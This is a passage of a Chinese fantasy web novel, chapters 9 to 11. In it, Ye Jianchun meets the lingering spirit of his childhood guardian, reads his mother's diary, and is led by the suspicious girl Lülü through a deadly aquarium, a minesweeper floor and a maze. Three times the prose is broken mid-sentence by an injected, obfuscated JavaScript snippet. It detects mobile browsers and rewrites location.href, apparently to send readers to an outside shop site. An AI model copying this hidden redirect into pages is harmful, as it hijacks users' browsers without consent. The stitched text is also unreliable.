叶见春仿佛一个没有安全感的孩子,反复确认说:“奶奶你真的不怕吗,神明不是生来就被敬重被信奉的吗?” “怎么可能,我活着的时候,神明还只是一群小屁孩呢,后来他们脱去人皮,变成彻头彻尾的吸血鬼。” “吸血鬼?” “吸人血,特别是年轻的血液。他们不断榨出那些年轻人的血液,注入自己的身体里,维持荒唐的长生。” “可祂们本来就是神明,长生不老,为什么还要这么做?” “不,孩子,这世上没有人脱离自然的掌控,神明也是。只不过后来他们找到这世上最好的容器,然后她就变成了不幸的根源。” “‘她’是你要等的人吗?” 老太太轻笑摇头:“不是不是。” 什么叫“我活着的时候”,那不就是鬼吗?还是“吸人血”的鬼,难怪这个房间冷飕飕的,神明不是说这世上没有鬼怪吗,我的妈妈妹妹春哥……闵宇悄悄看了看世界App,他身处的世界仍然是漆黑一片,除了他们这个小队关联的ID外没有其他任何ID存在,他头脑中仿佛刮起一场巨大的风暴。无意识下颤颤巍巍拿起手里的可可准备喝一口,一只黑白花猫突然冲过来,飞跃到他身上,一脚踹翻了他手里的杯子。 老太太被分走了注意力,偏头看了一眼那只调皮的猫,介绍说:“这是我养的最后一只猫,它叫怪乖。” 那只猫舔了舔自己的爪子,又舔了口地上洒落的可可液体,下一秒,它浑身抽搐,忽然僵硬地死了。 三人都沉默了,叶见春本来拿起的杯子也默默放下了。 老太太露出一个略微尴尬的笑容,补充说:“我记错了,是倒数第二只。” 她把猫咪的尸体捡起来,从它屁股下面摸了摸,一声mimi的电音过后,猫咪突然又动了起来,只是外形发生了变化,成了一只黑脸白毛的花脸猫。 老太太很满意,抚摸着它的后颈说:“叫你什么好呢,就叫乖怪吧。” 她似乎已经全然忘记热可可毒杀猫咪事件,看了看房梁上的钟表,说:“时间不早了,我给你们去做饭吧。” 不一会儿,饭菜就被端上来。 深绿色的飞鱼肉配上黑色毛茸茸的洋葱,再配上一碗五颜六色的蘑菇汤,即使是这两天在海上饿得面黄肌瘦青黄不接的两人也说服不了自己张开嘴。 但老太太吃了,她的猫也吃了,她们诡异的眼睛诡异地望着叶见春他们,无形中仿佛一种催促。 无论从什么角度来说都很诡异的地方,在这种诡异气氛下,闵宇心里压抑着闷闷的,心底的一根弦终于断裂。他慌不择路地想跑出去,却被椅腿绊到,将沙发旁的木柜撞倒,掉出一本灰扑扑的日记本。 老太太眼疾手快地捡起日记抱在怀里,矮胖的身体靠着门把,把闵宇往外伸的手一脚踢回去,声音发颤:“别出去!外面很危险!” 9. 杀.Chapter 9 这个蠢货,叶见春扶额无奈,心里不止一次冒出骂人的冲动。 小老太魔怔般不断重复“别出去”三个字,叶见春无法对眼前荒唐的局面视若无睹。 “让我们出去吧。”他站起身,绕过闵宇,轻松握住她皮肉松垮的手腕。 他的念扫过房间的每一个角落,没有生机,也没有神明,只有一个看起来慈眉善目愿意分给他一点同情的老太太。 他们的确该离开了。 老太太似乎想到什么可怕的事,疯狂地摇着他肩膀说:“为什么不听话,为什么非要出去?如果你在家,你就不会经历那些!” 这是把他看成了谁,叶见春稳住她,反问:“黛栗奶奶,你有多久没有踏出这扇房门了?” “几年……几十年?我也记不清了。” 叶见春看她糊涂的神情,语气认真又柔和地说:“我们有不得不离开的理由。” 这双漂亮透彻的眼睛,骨子里暗含永不回头的倔强,她应该在哪里见过。 ——“我们有不得不离开的理由,等我们回来吧,黛栗妈妈。” ——“好吧,我已经劝不动你了,但你们千万不要忘了我这个没用的老妈子!” 闵宇躲在叶见春身后,有些纳闷:她有说过自己的名字吗? 叶见春把失魂落魄的黛栗奶奶扶到沙发上,门再次被打开,她忽然失声尖叫:“等一下!” 闵宇和叶见春对视一眼,希望他别理会赶快出去。但让他失望的是,叶见春还是顿住了脚步。黛栗把怀里那本破旧的日记本放在他手上,紧紧攥着他的手,嗓音沙哑:“孩子,这本日记还给你,奶奶以后就不能陪着你了。” 叶见春在老人期待的目光下翻开日记本,第一页写着一个潦草的“叶”字,这日记主人与自己同姓,她似乎认错人了。 他接着往后看。 “2995.10.1,今天在学校里看到一个帅哥,但是没敢去要他的联系方式,哎呀呀,郁闷郁闷。” ——很好,是他出生之前的事了。 “2996.11.29,衣服没电了热死我了,天气越来越不对劲了,去年寒冷期还冷得像冰川时代,今年高温期却持续了十一个月,海平面都高了两厘米,也不知道什么时候能降下来。” “2996.12.28,啊啊啊那个帅哥竟然加入我们课题组了,我们竟然是同一天生日好巧啊!我还是没敢要他的联系ID,但我知道了他的名字……” 叶见春无意打扰日记的主人,刚准备合上,却无意中瞥到后面的名字。 “简之行。”他记得,他父亲也是这个姓氏。 她姓叶,她喜欢的人姓简,是巧合吗? 这本日记中间的部分不知什么原因不见了,只剩前面和最后一面。 他快速翻到最后。 “3280.1.1,听说001小世界突然出现吞并侵融周围世界的现象,我猜是山樱出事了。这次,我们必须要去救她。我们要告诉全世界神明隐瞒的真相。” 这个人是最早进入001世界,知道神明的名字是山樱,叶见春瞳孔微缩——原来这是妈妈的日记。 空气凝固得快要坠下来,闵宇紧张得手心冒汗,以为叶见春被某种念力控制了。就在这时,那只老猫打碎了餐桌上的托盘,发出清脆刺耳的响声。 “走!”闵宇毫不犹豫地抓准机会,拉着叶见春疯狂往外冲。 叶见春身体被他拖着不自觉向门外,却朝屋内那片昏暗伸出手:“奶奶,和我们一起出去吧!” 黛栗仍然一言不发,叶见春一只手扒住门框,忍不住问道:“奶奶,神明的真相是什么?” 听到神明两个字,黛栗奶奶表情瞬间变得扭曲,她又进入到自己的执念里,怨愤道:“没用的,没用的!离开这里,离开神明,就是她带来了灾难!” 随着她的怨念,一股无形的排斥力猛地将叶见春向外推。叶见春咬牙对抗着那股力量,奋力向前一扑,紧紧抓住了老人冰冷的手腕。老人神色一怔,竟然任由他扯着自己离开这间几百年未曾离开的小屋。 然而,她的身躯在越过门槛的刹那,开始像风化的雕塑般消散,化作点点晶莹的泡沫,融入门外阴冷的气流中。叶见春听见她没来得及说完的最后的小声的叹慰——“小叶子,好高兴还能再见你……” 这种该死又熟悉的感觉又来了,他总觉得自己在哪里见过她,可是记忆里的东西却什么都抓不住、留不住。 他暴躁地扯了扯头发,一圈锤在已经闭合的门上。 他明白刚刚那人既不是活人,也算不上完全的死人。她是强烈的情感或记忆被神明的力量困住而形成的残念。 神明不仅囚禁了她,连死后的记忆都不放过,变成恐惧的牢笼,用来戏弄他。 闵宇看着叶见春铁青的脸色,本能感到畏惧,他唯唯诺诺地站着,心虚地看向叶见春。 好在叶见春并没有生气多久,他闭了闭眼,目光重新落在手里的日记本上,不紧不慢地往后翻看。 日记莫名其妙多了一页,上面写着: “2998.4.5,黛栗妈妈总是忧心外面不安全,她似乎很讨厌我实习的那家生物科技公司。寒冷期的时候,她总是闭门不出,喜欢坐在家里的皮沙发上,耐心地织着我的毛衣、帽子和围巾。乖乖就爬在她脚边,那可是世界上为数不多具有狸花猫基因的保护动物,好多科学家要买去她都不肯。我知道她心底是爱我的,连妈妈都没有她为我操心得多。可是现在,我已经约好了和简之行他们去海洋历史馆玩,该怎样才能找借口溜出去呢……” 叶见春脑海里不由自主地浮现出一只肥胖的杂色狸花猫的形象,总有人在他身后喊他——“小叶子,你真是太调皮了,黛栗奶奶我要生气了!” 他总是做个鬼脸,灵活地躲过各种障碍,回头嬉笑:“我是春天,春天!” 然后被母亲堵住去路,狠狠修理一顿。 看来刚刚他们见到的就是黛栗奶奶的残念了,他咬咬牙想,神明算错了,早就死去的人,有什么值得他难过的呢? 叶见春站起来,拍了拍缩在一旁认真反省的闵宇,然后打开对面的房间,微撇头说:“走吧。” 闵宇更害怕了,春哥咬着牙,眼睛里流露出一点难过,看起来更可怕了,像是一座即将爆发的死火山。他有一种莫名的危机感,就算叶见春现在说要引爆全世界,他都觉得不奇怪。 - 第二个房间更像一个陈列展览馆,他们刚一进去门就自动锁上。 房间里的蓝色灯光时好时坏,目之所及是堆满了各个角落的水箱,水箱里有各式各样的鱼类,大大小小,五彩斑斓的。 叶见春从来没有见过海洋历史馆,那种古老的历史观甚至连世界数据库里的资料也寥寥无几,可他走进来的瞬间就有一种强烈的预感——这里就是妈妈日记里的海洋历史馆。 闵宇同样好奇,他凑到水箱跟前,眼睛瞪着溜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17094695|195614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 圆,仔细端详这些鱼类。和他们见过的长满毒刺样貌丑陋可以上岸行走的变异鱼不同,这里的鱼有着光滑的皮肤,细小闪烁的鱼鳞和漂亮飘逸的大尾巴。 很难想象,自然之手的造诣竟然如此高深,连一只鱼身上的鱼纹特征都令人震撼到说不出话来。 叶见春稍微放低了警惕,手搭在一旁的水凝玻璃上,那里有许多黑眼圈小黄鱼正簇拥着一只扁嘴鲨鱼游走。或许是看得太专注,他发现这只鲨鱼似乎在对自己翻白眼——很不屑的欠揍模样。 他又靠近了些,眼睛几乎贴在玻璃上,昏暗灯光下,一些不起眼的细小光线在他面前摇晃。叶见春揉揉眼,眯着眼看得更清楚。原来每只鱼的背上都有一根细若蛛丝的白线,随着他们的行动路径而移动。 他猛得退了两步,这白线——分明是在操纵这些鱼类行动。 察觉到他惊恐的目光,所有鱼都像“看见”了他们一样,疯狂撞击着玻璃隔层,发出一声声砰砰声。 鱼眼睛被撞出来,如同深海里的珍珠,一颗颗掉落低层,只留下黑漆漆的空洞的眼眶,十分瘆人。 伴随着闵宇的尖叫声,水箱玻璃一个个爆开,这些鱼掉到地上,还在不断跳动。它们失去了眼睛,不再是初见的漂亮模样,鱼嘴大张,露出密密麻麻、尖尖细细的白牙。水位慢慢上涨,它们跟随细线的牵引,向二人冲过来。叶见春腿部肌肉紧绷,立即拉着闵宇拔腿狂奔,来不及欣赏这里类似于海底的摆放布置,通过蜿蜒曲折漫长的海底甬道。光线越来越暗,他们口干舌燥,直到尽头没有一丝光亮,才堪堪停下来。 他们没来得及喘口气,面前的漆黑里也传来微弱的敲击声。 闵宇害怕得蜷缩在地上,叶见春按住害怕产生的心悸,伸出手摸索面前,水凝玻璃的质感,手下是有节奏的震动,他惊讶地抬头。 刹那间,灯光大亮,眼前是巨大的玻璃罩墙,清澈水质,里面却没有任何鱼,只有一个惨白的人类女性。 她绿色的短发像海里的海藻,缠绕在一起。脖子的肉分层,模拟鱼的鳃,一张一翕,开开合合,衣服破烂,皮肉浮肿,浑身上下找不到什么好肉。指节的骨头没有发肿的皮肉包裹,半露出来,清晰地一下又一下,缓慢敲击叶见春掌前的那块玻璃。她闭着眼,像极了童话故事里的变异美人鱼。 叶见春第一反应确实是同情,随即是警惕,这太像一个精致为他而设的陷阱。 她虽然还活着,可如果要救她,他们就会被里面的不明液体吞没,甚至他不知道那个人是不是神明的陷阱。 他准备狠心离开时,那个一直闭眼的“美人鱼”似乎感应到什么,缓缓睁开了眼睛。隔着厚重的水凝玻璃墙,她的目光与叶见春相接。 那是一双属于人类的、清澈却盛满惊惶的眼睛。她嘴里吐着泡泡,嘴型一张一合,仿佛在说:“春天,救我。” 无数念头在叶见春脑中闪过,她怎么会知道自己的名字,她和神明有什么关系,她会不会知道神明的秘密。 无论如何,他都必须要找到神明碎片,问个明白。 时间紧迫,叶见春心一横,握住刀背用力砸着玻璃。 闵宇难以置信地看着他:“你在干嘛,谁知道里面的人是死是活?我们先躲躲吧,这样,我踩着你爬上那边的通风口,然后再把你拉上去……春哥,走吧!” 叶见春大力推开他,眼神古怪,像有一团热烈火苗在燃烧,他斩钉截铁地说—— “先救她。” 10. 杀.Chapter 10 “你疯了!我们怎么救?这会淹死我们的!”闵宇难以置信地喊道。 “那就一起想办法活下来!”叶见春幻化出一把利刃,开始寻找水箱的脆弱点,“不想被后面的鱼啃光,就帮忙!” 自从他杀掉神明之后就开始不对劲,春哥他该不会疯了吧? 闵宇气急了,想给他一巴掌,但叶见春斜了他一眼,他就不敢下手了。他试图用念凝聚成梯子,奈何没爬两步念力消散就摔了下来。他委屈巴巴地召出自己的娃娃抱在怀里,嘴里不断祷告神明保佑平安。 水蔓延过来了,越来越深,闵宇心有余悸地想起那些血盆大口的尖牙,潜意识让他脚底发痒。 而此时,叶见春费尽力气终于砸开一个小口子,只听见嘭的一声,玻璃从破口处像蛛网一样蔓延、裂开,咸腥味的海水瞬间喷涌而出。 他抓住那人细细的腕骨,托着她往上推。 海水汹涌而出,那些没有眼睛的食人鱼蜂拥而至,水里甚至能听见钝钝的鱼尾摆动声。没有什么是比这样压抑的环境更令人绝望的了,闵宇紧紧抱着叶见春的小腿,吐出一大串泡泡,叶见春憋气也到了极限。 他低头,发现自己救下的人似乎也在看自己。她的眼神熟悉又陌生,虽然带着明显惊慌与不安,眼眶里还飘着点点泪光。可深邃的眼眸如星河闪烁,像是隐藏着更深的笑意。 她或许单纯如兔,但一定和神明有关系。 食人鱼在啃咬他的小腿,触感像蛇爬一样滑腻,就在意识即将涣散之际,叶见春听到嗡的一声巨大震响,像是爆破的声音,仿佛打开某个神秘的闸门,水位忽然大幅度降低。 巨大的水流裹挟着他们,如同海浪抛掷杂物,将一行人狠狠冲上地势稍高的区域。于是泡在海水里的美人鱼们在猛烈冲击之下,搁浅了。 叶见春剧烈地咳嗽着,吐出咸涩的海水。被咸水浸湿的头发遮挡了他的视线,只能从发尾缝隙里瞧见面前一双黑色皮靴。海洋历史馆像是经历的一场虚拟幻觉,这里房间的门大敞,透着热风,吹散那些咬人的鱼所带来的恐惧。 还没来得及高兴,叶见春很快就发现他现在的处境似乎更加不妙,他缓缓抬头,最前面那人一身军装,双手抱臂,露出熟悉的、高高在上的神态。 叶见春认命般单膝跪地,说:“队长。” “叶、见、春,原来你还记得我是队长。”章邱挑眉,一脚踩上他的鞋面,故意使力,将他压下去。满地都是晶莹的玻璃碎片,血迹顺着膝盖流出来。闵宇不敢抬头,不断地往后退缩,身后的人也隐藏不住。 什么时候还多了个绿头发的逃兵,章邱二指剥开地上人的头发,看见一张迷离脆弱的脸暴露在潮湿的空气里,尤其是那双褐色的眼睛,仿佛能透过这双眸孔看见只在他梦中存在过的森林。 女人。 章邱顿了顿,突然有些说不出准备讽刺贬低的难听话。他的手向下顺势掐住她的下颌,小拇指尖锐的指甲盖轻轻抵住她的喉咙,说:“你是谁?” “咳咳……我叫绿绿,是被抓到这里的,你们是什么人?”原来她会说话,她抹抹眼泪,眼眶泛红,更像一只不谙世事的小白兔了。 “这样啊,我们是什么人不是你该知道的。”章邱犹豫片刻,竟然没有下死手,反而拿了件身旁人的外套给她披上,绑着这两叛徒就打算离开。 章邱的脚忽然被人抱住,绿绿哭着喊:“求求你放过恩人,是他救了我,你别杀他!” 他想把她踹开,又觉得她身体太软像狗皮膏药似的,踹也踹不掉,于是犹豫不决,反倒是叶见春那狗东西开口问她:“什么恩人?” “恩人,刚刚不是你把我救出来的吗?”她似乎现在才看清了叶见春的脸,疑惑地说,“你长得好像我的弟弟。” “……”叶见春沉默了。 她恰到好处的胆怯表情极具迷惑性,不过按照这个世界的剧情走向,他想自己该不会真有个亲姐吧。 见章邱迟迟没有回应她,绿绿似乎真的着急了,顾不上身上的伤口,四肢像八爪鱼一样缠着他:“叔叔,你们也是被那些人抓进的吧,我帮你逃出去。这里陷阱很多,我路熟,可以替你们在前面探路,你放了他吧。” 不爽的章邱强调说:“叫哥哥。” “可是你看起来年纪好大。” “叫哥哥。” 绿绿弱弱地喊了声:“刀疤哥。” “诶你这人……算了,继续说,那些人是谁们?” 绿绿听不明白,抬头问:“难道你们不是他们抓来的实验品吗?” 章邱皱眉,弯腰盯着她:“他们里面有神明吗?” 绿绿的眼睛认真地看着他,忽然低头带着哭腔说:“我不知道,但别人都说,他们是恶魔。” 问话进行不下去了。 章邱并不适应与异性的相处,他在队伍里从来没有见过女孩子,小时候他常常听某位神明被他的女信徒们联合坑杀的故事睡觉,因此对女性向来是敬而远之。 女性,应该是温柔又恐怖,美丽又残忍才对。 可出奇的,他现在发现自己原来并不讨厌眼前的这位女性。他为自己的想法感到陌生,别过头把她往前一推,语气并不善良:“带路吧。” 绿绿被大力推倒,手也被玻璃渣扎破了一个小口子,殷殷流血,受了惊吓立的她刻躲到叶见春的身后。 章邱更不爽了,他没杀她还给了她衣服,到头来她竟然信了那个小子。 他不耐烦地解开叶见春的手铐,让他蹲下来背着绿绿——她太久没有走过路,连站都站不稳。 叶见春背脊微屈,蹲在她面前,绿绿就像树懒一样紧紧扒着他。他奇怪地想,队长竟然没有杀了她。 没有杀了就算了,连拷问也没有,还真听信她的话让她带路。他刚刚看得很清楚,她说恶魔两个字的时候,嘴角分明是向上的。 身份不明的柔弱女人,这描述里的每个字都踩着章邱的禁忌,怎么看也不该带上她。 像是被人夺念控制了小脑一样。 绿绿攀着他的肩,一个字一个字念他的名字,似乎在回想刚刚章邱说的话,又在耳边喊他:“小春哥。” 叶见春无奈地回应:“我在。” “你会保护我吗?” 她离自己太近了,不自觉地,他浑身发热,连手腕的半金属缠臂?因为他体温的升高而隐隐发烫。 最后他别开脸,语气刻意放得轻慢,说:“如果你是我们的朋友,我会保护你。” 什么是朋友?绿绿虽然不懂但几乎没有任何思考,说:“那就一言为定了小春哥。” 她低低地发笑,最后一个音气息又弱又飘,带着一种奇异的虚浮感。叶见春脚步略顿,仿佛幻听梦里的那个声音。 叶见春攥紧拳头,只有她才会这样叫自己。 - 这是一间废弃许久的船舱,门口灰尘堆积。明明是绿绿指的路,然而被推进去的却是叶见春,章邱牵着她在外面。可里面并没有人,看起来只是一间平平无奇废弃无用的实验室。 叶见春小心地往里走了走。 实验台上杂乱地堆放着各种陈旧器材与尚未完全腐败的物资干粮。角落里排列着许多透明胶囊仓,里面灌满了浓稠的绿色液体,浸泡着形色各异的动物器官。有些器官仍在液体中缓慢搏动、收缩,仿佛仍依附于某个无形的生命体,本能地散发着令人不适的诡异生机。地面留着几串杂乱的脚印,看起来还很新。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17094696|195614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >叶见春确认暂时安全,朝门外打了个手势。其他人立刻鱼贯而入,如同扫荡般迅速搜刮着可用的物资。他趁机快步走到角落,迅速翻开母亲日记中新增的那一页—— “2998.4.12,我们在水族馆的地下实验室里,发现了非法的人体改造项目。一个浑身是伤的孩子偷偷将我们带到了后台。那里竟囚禁了许多儿童。最中间的女孩浸泡在浅绿色的药液里,脖颈两侧赫然生出了类似鱼鳃的呼吸结构。她发现了我们,眼里却既无惊喜,也无恐惧,平静得像一台没有情感的仿生机器。但根据我的观察,她确实是一个活生生的人。 我和简之行决定救他们出去。在完成取证并上报联合政府后,所有获救的孩子中却唯独没有那个女孩。政府部门坚称,解救过程中从未发现所谓的“异型人”。 或许她早已自己逃出去,顺利回家了吧?可我心里,始终空落落的。 果不其然我又被黛栗妈妈骂了一顿,好在今天回家竟然收到了来自MMN研究所的offer,天呐!这可是全球最顶级的生命科学研究所,而且离我们家不到五公里。我投简历的时候完全没抱希望! 黛栗妈妈也不骂我了,她在脑芯片里挨个给朋友打电话炫耀,连只剩脑意识的‘躺尸’都没放过。我找简之行说的时候,他还在玩老掉牙的怀旧版扫雷游戏。我知道他并不像他所表现的那样冷静,因为他精准地点到雷,抬头对我笑了笑……” 叶见春还没看完,一双细弱几乎支撑不起身体的腿出现在面前:“小春哥,你怎么在这里呀?” 她身上的皮肤已经不再像是皱巴巴的,像剥了皮的鸡蛋光滑,也因此失去了几分真实。叶见春不自觉地看向她的颈部,他撩开她的短发,露出少女修长的脖颈,果然有一个裂口,他轻轻挑起,里面血丝一缕一缕的正在抽动。 他的眼神顿时变得犀利,像要将眼前人看透。 绿绿有些痒,轻轻“啊”了一声,眼泪不自觉地落下。 章邱立即把绿绿护到身后,横眉怒目地斥责他,盯他的眼神像看一个侵害未成年人的变态:“你在干什么!” 显然,绿绿已经完全获得了章邱信任——尽管他们相见还不到半天。叶见春沉沉地看着她,没有再做出过分的举动,转移视线说:“用显形粉吧。” 章邱谨慎地洒下莹绿色的显形粉,地上的脚印很快就浮现出来,一直延伸向屋外,他们顺着脚印,来到一个门牌号为2999的房门口。 推开门,一个四四方方、空空荡荡的房间。正对面还有一扇紧闭的门,似乎是通往更深的空间。 或许是这里太过空荡,叶见春甚至还没探完路,一些队员就已经毫不留意地踏进去。他们脚下所踩的地板周围,悄然浮现出数字暗纹。 可惜并没有人注意到这些,然而随着他们踩踏的地板越多,地上的数字也越来越多。等队伍前端的叶见春发觉不对的时候,已经太晚了。他刚要向章邱提议叫停所有人,一个人在他面前瞬间被炸成了血沫。 队伍登时慌乱一团,于是不断有人被炸成血雾,章邱大喝一声停下,所有人才待在原地不动。 目睹一切的叶见春怔在原地,脑海里不自主地响起黛栗奶奶的话—— “离开这里,离开神明,就是她带来了灾难!” 那个连笑都不明白含义的神明,杀人于她而言,也不过是场没有情感的游戏。从妈妈的笔记本上看,她们早有联系,爸妈的死与她脱不了干系。 她迟早会杀了他们。叶见春意识到,这里小世界的目的没准就是为了捉弄他们,直到看着他们的死亡,好满足她一点点凌迟他人的特殊癖好。 他心里不由得生出恨意,夹杂着别样的情感,缠绕在一起,不断生长蔓延。 11. 杀.Chapter 11 章邱指着他,说:“你,去前面探路。” 叶见春气笑了,说:“队长,我们现在离开这里,还有生路。” 章邱一把拽着他,直白地说:“你又想做逃兵?就算你说得对,可找到神明的路上总是要有牺牲,你得死在我们前面,我才安心。” “你为什么会相信她……”叶见春忽然说不出话来,他被一股无形的力量狠狠推了一把,不受控地往前走了一步。他明显感觉到,有人在入侵自己的念。 等等,再等等! 这些1、2、3的数字代表什么意思,为什么孟凡刚刚走在这里就死了,刚刚那些人死的地方,似乎都是数字旁边。 扫雷,扫雷是什么游戏? 记忆深处忽然冒出爸爸的模糊身影——“春天,你看,这个是爸爸的一千周年纪念版扫雷游戏,这个数字表示周围八个格子的地雷数量,当你走的每一步,都要考虑下一步,任何一次失误都会爆炸失败。” 小叶见春当时抱着爸爸一味傻笑,随手点了几下,很快就“死”了。爸爸把他抱起来,举着他到院子里玩去了。 他的脚忽然扭转方向,向右边迈了一步。 安然无恙。叶见春猛地松口气。 这是他第二次违抗自己的念力了,章邱第一次开始质疑自己的能力,骤然间也忘记了对他的控制。 但这个逃兵转头,镇定的脸上看不出半点怨恨,冷静地对自己说:“队长,给我一点时间,我能帮你。” 平心而论,他欣赏他的能力。可惜这人贪生怕死,目无军纪。明明是死囚,却没有一点自知之明。 五分钟后,地雷游戏结束了。 叶见春虚脱地坐在地上,仰头看着眼前人,没头没尾地问:“绿绿,你觉得这个游戏好玩吗?” 他的头发看起来很狼狈,但忍不住想让人有摸一摸的冲动。 像哄小孩那样,绿绿摸摸他柔软的头发,细心地帮他擦掉脸上的血迹,嘴角抿出一点点温和笑意,宽慰道:“小春哥,我为你的同伴感到很难过。” “是吗?可你还没有回答我的问题,神明,好玩吗。”叶见春的眼睛里点点血丝,但这种疲倦的愤怒几乎毫无杀伤力。 章邱拉着绿绿的胳膊到一旁,斥责说,“你吓唬她干什么,少把自己的无能发泄在别人身上。” 死鱼一样瘫软的叶见春又被章邱拎起来:“别浪费时间,继续走。” - “2998.8.22,今天简行之这个死直男终于给我表白了耶耶耶,不枉费我对他明里暗里明示暗示悉心调教的成果!!! 今天是我们在一起确认关系的第一天,然而狗研究所竟然要我加班,害我半夜在实验室不小心迷路,说起来我竟然从来不知道这里竟然有个地下室,而且规模不小,像一个迷宫一样。半路上还有一些上古冷兵器,把我脚都快扎瘸了。简行之那个王八蛋那个时候可能还在写代码吧,我真的快痛死了! 后来哭得稀里哗啦的时候,有个黑衣小孩跑出来,牵着我的手带我往外走。她的手很冰,一路安静地带我往外走。我试着和她说话,却只换来沉默,最后成了我一个人的自言自语。可在这片黑漆漆的迷宫里,那只冰凉的小手,却莫名让我重新安下心来。 走到出口的时候,我脚太痛了,我感觉后脑勺钝钝的胀痛,意识也模模糊糊,明明看见她的脸,却又慢慢变成简行之的那张脸。我从来没有见过简行之那张冷淡的冰块脸上出现这么生动焦急的表情。我忽然发现,他似乎比我想象中,更爱我一点。我甚至想,要是我还能活着,我一定要向他求婚……” 据说,迷宫有一个流传已久的法则,只要始终贴着一侧墙壁走,总能走到出口。但这条法则似乎并不可靠,叶见春他们走了很久,可迷宫里的每一处都似曾相识。 他们在墙壁上用力刻下记号,可那不知是什么材质,划痕很快便如水痕般消退,恢复成冰冷平滑的原状。后来他们试着留下随身物品,可只要一回头,那些东西便如同被黑暗吞噬般,消失得无影无踪。 这是一个十分诡异的迷宫。 “小春哥,我脚疼,你能背背我吗?”在狭窄的迷宫里,最前面的叶见春修长五指被一双比他略小些的手牵住,绿绿仍然不太习惯用双腿走路,她用亲昵的语气对他撒娇。 但叶见春不为所动,他不动声色地抽出自己的手,几乎是满怀恶意的心思问她:“带来灾祸与不幸的始作俑者,也配吗?” 绿绿的笑容骤然消失,眼里渐渐泛起浅浅的水花。队伍里发出小声的谴责声,连闵宇都看不下去,嘀嘀咕咕劝道:“春哥,她…或许不是神明。” 叶见春刚想骂他蠢,背后却蓦地一疼,原来是被人狠狠抽了一鞭子,连衣服都被打破了,章邱冷冷地说:“叶见春,别犯病。” 绿绿立即护在他身前:“别打他!” 章邱没好气地对他翻了个白眼,叶见春扯着脸自嘲地笑了笑,重新牵住绿绿冰凉的小手,十指相扣,像是戴上一副人形枷锁,唯有手腕的木头在微微发烫。 绿绿勾起嘴角,明晃晃地冲他甜甜一笑,笑得叶见春眼睛都疼,他暗暗挪开眼。 可恶的神明!他一定会戳穿她的真面目。 他心里这么想着,前方黑暗里陡然刺出数道猩红射线,绿绿着急地大喊小心,向后扑倒了叶见春。 灼热的气流擦着他的发梢掠过,空气里瞬间弥漫开蛋白质烧焦的刺鼻气味,所有人都心有余悸地看着地上的两人。 叶见春的心嘣嘣乱跳,他看着她的眼睛,明明是担心的神情,眼底的眸光却仿佛是在轻笑。他离她太近了,甚至能清楚感觉到,她的心跳,没有一丝一毫的变化。 “你——” “哎呀,小春哥,好痛。”绿绿背后一条烧焦的伤口,鲜红的血液不断从伤口旁渗出。 又开始演上了? 他立即推开她:“谁要你救了?” 章邱忍无可忍,踢开他把绿绿牵起来搽药。 一路上,绿绿一直对叶见春有多依赖和维护,却一直不受他待见,所有人都看在眼里。 这种低级的陷阱机关,开始会有人中招,但现在基本上已经能够避开了。如果不是叶见春刚刚走神,根本不可能毫无防备。 小心地绕开束光阵,看见前面终于出现了从未见过的,一个亮着暖光灯的内室。叶见春眼睛一亮,率先走进去。 这个简陋的空室里只摆着一个棋局,如果了解一点棋文化的人都能看出来,这盘面上的白子占尽天时地利,黑子气数将尽,是一盘绝无转生之路的死局。 但在棋道式微千年的公元4000年,这世上真正了解棋文化的人寥寥无几。 叶见春根本不懂什么围棋,他以前路过一个小世界的时候那里有人喜欢玩五个相同颜色的子连成一排的五子棋。 其他人都露出茫然的神色,绿绿忽然从人群里钻进来,在棋盘上落一枚黑子,叶见春一把扣住她手腕。 她不计前嫌,认真解释说:“赢了就可以离开这里了,小春哥。” 叶见春并不相信她,她已经骗了自己太多次,他第一次见到这样厚颜无耻的神明。可他背后的章邱却毫不犹豫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17094697|195614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地说:“听她的。” 刹那间,整座迷宫开始发出沉闷的轰鸣。笨重的墙体慢慢移动,封死了来时的狭窄通道,在他们面前降下一道紧闭的合金闸门。 然而在看不见的暗处,机关齿轮咬合转动的“咔哒”声,仿佛在暗示着什么。 叶见春死死盯着绿绿嘴角的笑容,仿佛已经看到,下一枚棋子触发机关,他们都死在这里的场景。 他无法控制地战栗,再也不能坐视不理,以掩耳不及迅雷之势猛然抬手,把棋盘的所有棋子打乱。 绿绿脸上那层乖巧的假笑终于凝固,她皮笑肉不笑地看着他,过了几秒,闸门竟然缓缓上升。她垂眸掩盖自己神情,目光落在他的衣角处,夸道:“小春哥,好厉害。” 叶见春出了一身冷汗,紧绷的大脑总算有了片刻休息,但他一转身,勾住棋盘的衣角扯着整个散乱的棋局都摔在地上。 棋子噼啪崩散,滚落四处。 无数冷箭从暗处射出,叶见春当机立断趴下,大喊:“卧倒!” 